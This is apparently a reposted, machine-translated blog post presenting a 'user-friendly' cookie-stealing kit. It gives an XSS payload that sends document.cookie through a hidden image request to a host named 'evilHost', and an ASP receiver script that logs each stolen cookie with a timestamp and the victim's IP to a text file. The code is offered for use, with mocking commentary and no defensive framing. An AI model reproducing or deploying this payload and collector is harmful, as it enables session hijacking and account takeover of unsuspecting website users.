User-friendly cookie Stealing script

Source: Internet
Author: User

 Author: cnryan @ http://hi.baidu.com/cnryan

Cookie Theft is one of the most common cross-site attacks, whether in the img or iframe mode, or based on the Inbound or non-Inbound XSS, the entire operation can be completed by requesting a url with the Cookie browser.

I prefer Image:
<Script>
Img = new Image (); img. src = "http: // evilHost/get. asp? Cookie = "+ document. cookie; img. width = 0; img. height = 0
</Script>

Cookie Stealing script:
It's still a relatively simple program. After some improvement,The time and IP address at the same time when the Cookie is obtained, More intelligent and user-friendly, in order to achieve a better user experience> "<, haha!
Get. asp code:

<%
Dim getcookie
Dim mytime
Dim str

Getcookie = Request. QueryString
Getip = Request. ServerVariables ("REMOTE_ADDR ")
Mytime = now ()
Set fs = server. CreateObject ("Scripting. FileSystemObject ")
Set file = fs. OpenTextFile (server. MapPath ("cookie.txt"), 8, True)

Str = "<-bof |" & mytime & "|" & getip & "|" & getcookie & "| eof->"

File. writeline (str)
File. close
Set file = nothing
Set fs = nothing

Response. write "haha"
Response. end
%>



Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.